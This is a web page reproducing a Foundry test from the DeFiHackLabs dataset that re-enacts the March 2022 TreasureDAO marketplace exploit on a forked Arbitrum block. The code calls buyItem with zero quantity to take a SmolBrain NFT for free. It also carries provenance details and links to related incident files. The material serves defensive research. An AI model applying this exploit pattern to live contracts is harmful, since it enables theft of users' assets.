Public reproduction file
src/test/2022-03/TreasureDAO_exp.sol
Public reproduction file for dataset entry TreasureDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7contract ContractTest is Test {8 ITreasureMarketplaceBuyer itreasure = ITreasureMarketplaceBuyer(0x812cdA2181ed7c45a35a691E0C85E231D218E273);9 IERC721 iSmolBrain = IERC721(0x6325439389E0797Ab35752B4F43a14C004f22A9c);10 uint256 tokenId = 3557;11 address nftOwner;12 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);14 function setUp() public {15 cheats.createSelectFork("arbitrum", 7_322_694); //fork arbitrum at block 732269416 }18 function testExploit() public {19 nftOwner = iSmolBrain.ownerOf(tokenId);20 emit log_named_address("Original NFT owner of SmolBrain:", nftOwner);21 itreasure.buyItem(0x6325439389E0797Ab35752B4F43a14C004f22A9c, 3557, nftOwner, 0, 6_969_000_000_000_000_000_000);23 emit log_named_address("Exploit completed, NFT owner of SmolBrain:", iSmolBrain.ownerOf(tokenId));24 }26 function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {27 return this.onERC721Received.selector;28 }29}Analysis
Dataset entry
Public Foundry test for “TreasureDAO” (2022-03-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- TreasureDAO
- Path
- src/test/2022-03/TreasureDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 68eda2e247e23159d8bdf8f0731334781b8e907c
- Language
- Solidity
- Size
- 30 lines
- Date
- 2022-03-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/TreasureDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 68eda2e247e23159d8bdf8f0731334781b8e907c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.